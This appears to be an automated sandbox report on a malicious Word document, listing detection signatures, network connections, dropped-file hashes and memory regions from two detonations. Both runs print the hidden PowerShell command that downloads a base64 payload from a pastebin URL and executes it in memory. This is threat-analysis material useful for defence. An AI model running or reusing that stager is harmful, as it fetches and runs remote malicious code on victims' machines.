Analysis Overview
SHA256
5fe9554ff8c4a81a2a99ff2a12a6393c0cc1e89e6291751db310913431785077
Threat Level: Known bad
The file 0949319f174a220b4e719715d9d5b20e.doc was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Command and Scripting Interpreter: PowerShell
Office macro that triggers on suspicious action
Suspicious Office macro
Blocklisted process makes network request
Legitimate hosting services abused for malware hosting/C2
Drops file in Windows directory
System Location Discovery: System Language Discovery
Office loads VBA resources, possible macro or embedded object present
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: AddClipboardFormatListener
Suspicious behavior: EnumeratesProcesses
Enumerates system info in registry
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
Checks processor information in registry
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-23 19:05
Signatures
Office macro that triggers on suspicious action
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-23 19:05
Reported
2024-07-23 19:07
Platform
win7-20240704-en
Max time kernel
121s
Max time network
122s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\Debug\WIA\wiatrace.log | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Office loads VBA resources, possible macro or embedded object present
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0949319f174a220b4e719715d9d5b20e.doc"
C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 172.67.19.24:443 | pastebin.com | tcp |
Files
memory/1772-0-0x000000002F9A1000-0x000000002F9A2000-memory.dmp
memory/1772-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1772-2-0x000000007105D000-0x0000000071068000-memory.dmp
memory/1772-5-0x0000000000330000-0x0000000000430000-memory.dmp
memory/1772-7-0x0000000000330000-0x0000000000430000-memory.dmp
memory/1772-6-0x0000000000330000-0x0000000000430000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex
| MD5 | f3b25701fe362ec84616a93a45ce9998 |
| SHA1 | d62636d8caec13f04e28442a0a6fa1afeb024bbb |
| SHA256 | b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209 |
| SHA512 | 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84 |
memory/1772-67-0x000000007105D000-0x0000000071068000-memory.dmp
memory/1772-68-0x0000000000330000-0x0000000000430000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
| MD5 | 5c5778980c66b19f8f92a6619e456698 |
| SHA1 | 66a9a1e70833e9d91f7e66785549a16b2190fb14 |
| SHA256 | 6d9a7791d8745887886f2af80dafcaf16df84de18d1a7011306c005397dae2b7 |
| SHA512 | 530423e6994ca4585fbed5a93a4532a39485b6618a2bd9bdad28ab22e7a50152dae08a934a797355d9496591022347d7aa39e3213eb457d135e9c624bbb2236f |
memory/1772-90-0x000000005FFF0000-0x0000000060000000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\51007C5C.emf
| MD5 | f8c7ec6da57ae75490132ff35cef2247 |
| SHA1 | 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8 |
| SHA256 | 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb |
| SHA512 | e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094 |
memory/1772-94-0x0000000000330000-0x0000000000430000-memory.dmp
memory/1772-93-0x000000007105D000-0x0000000071068000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-23 19:05
Reported
2024-07-23 19:07
Platform
win10v2004-20240709-en
Max time kernel
140s
Max time network
127s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | pastebin.com | N/A | N/A |
| N/A | pastebin.com | N/A | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4028 wrote to memory of 4164 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 4028 wrote to memory of 4164 | N/A | C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0949319f174a220b4e719715d9d5b20e.doc" /o ""
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String((New-Object System.Net.WebClient).DownloadString('https://pastebin.com/raw/pw1Ht9hR'))).EntryPoint.Invoke($null,$null)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| GB | 52.109.32.7:443 | roaming.officeapps.live.com | tcp |
| US | 8.8.8.8:53 | 97.32.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 7.32.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 134.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | pastebin.com | udp |
| US | 172.67.19.24:443 | pastebin.com | tcp |
| US | 8.8.8.8:53 | 24.19.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.16.208.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 104.219.191.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | metadata.templates.cdn.office.net | udp |
| GB | 2.17.209.123:443 | metadata.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | binaries.templates.cdn.office.net | udp |
| US | 8.8.8.8:53 | 123.209.17.2.in-addr.arpa | udp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| GB | 173.222.211.57:443 | binaries.templates.cdn.office.net | tcp |
| US | 8.8.8.8:53 | 57.211.222.173.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 103.169.127.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 56.126.166.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 98.58.20.217.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 29.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 57.169.31.20.in-addr.arpa | udp |
Files
memory/4028-0-0x00007FFC88670000-0x00007FFC88680000-memory.dmp
memory/4028-2-0x00007FFC88670000-0x00007FFC88680000-memory.dmp
memory/4028-3-0x00007FFC88670000-0x00007FFC88680000-memory.dmp
memory/4028-4-0x00007FFC88670000-0x00007FFC88680000-memory.dmp
memory/4028-1-0x00007FFC88670000-0x00007FFC88680000-memory.dmp
memory/4028-5-0x00007FFCC868D000-0x00007FFCC868E000-memory.dmp
memory/4028-7-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-8-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-9-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-12-0x00007FFC86010000-0x00007FFC86020000-memory.dmp
memory/4028-11-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-10-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-6-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-13-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-14-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-16-0x00007FFC86010000-0x00007FFC86020000-memory.dmp
memory/4028-17-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-15-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-20-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-19-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-18-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-36-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-37-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4164-38-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_onvtp4gl.g0u.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\FEEA5080.emf
| MD5 | f8c7ec6da57ae75490132ff35cef2247 |
| SHA1 | 962da8dd8ec8d636ebfeb3beecc296fa0b0e64f8 |
| SHA256 | 849fdaaab3c0ca296b2c06a1d7b2f0779a594a0b796023810eda1d7606af31cb |
| SHA512 | e44be74690c981f54b78765716abfb51e2f5108d034623bea9f5213dccd1b1342b9547370a09b7bf5a4f0c70c9d81c6d61d77e5fff6fe096e9313ba8b5a5d094 |
memory/4164-39-0x0000022E73370000-0x0000022E73392000-memory.dmp
memory/4164-55-0x0000022E73850000-0x0000022E73894000-memory.dmp
memory/4164-59-0x0000022E73920000-0x0000022E73996000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryFR040c.lex
| MD5 | f3b25701fe362ec84616a93a45ce9998 |
| SHA1 | d62636d8caec13f04e28442a0a6fa1afeb024bbb |
| SHA256 | b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209 |
| SHA512 | 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84 |
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
| MD5 | 93cdc64430debe641a563564b98692a1 |
| SHA1 | 1bbd9324a18e60fd29ac490f956eb29a20220ec0 |
| SHA256 | 82e7914fd1687ac20f449e20965b342ea645945aaab371a1951acdbb252da8e2 |
| SHA512 | de5365084b77b99ba0b1d8080c52601b2ecbe27c1692ea48a53a5d5b37cc3f3c7ee32978096843163504581ca4d89379646aebf3a45160976a0ec56bf066c260 |
memory/4028-90-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\TCDEB91.tmp\sist02.xsl
| MD5 | f883b260a8d67082ea895c14bf56dd56 |
| SHA1 | 7954565c1f243d46ad3b1e2f1baf3281451fc14b |
| SHA256 | ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353 |
| SHA512 | d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e |
memory/4028-208-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-209-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-210-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4164-211-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp
memory/4028-236-0x00007FFC88670000-0x00007FFC88680000-memory.dmp
memory/4028-238-0x00007FFC88670000-0x00007FFC88680000-memory.dmp
memory/4028-237-0x00007FFC88670000-0x00007FFC88680000-memory.dmp
memory/4028-235-0x00007FFC88670000-0x00007FFC88680000-memory.dmp
memory/4028-239-0x00007FFCC85F0000-0x00007FFCC87E5000-memory.dmp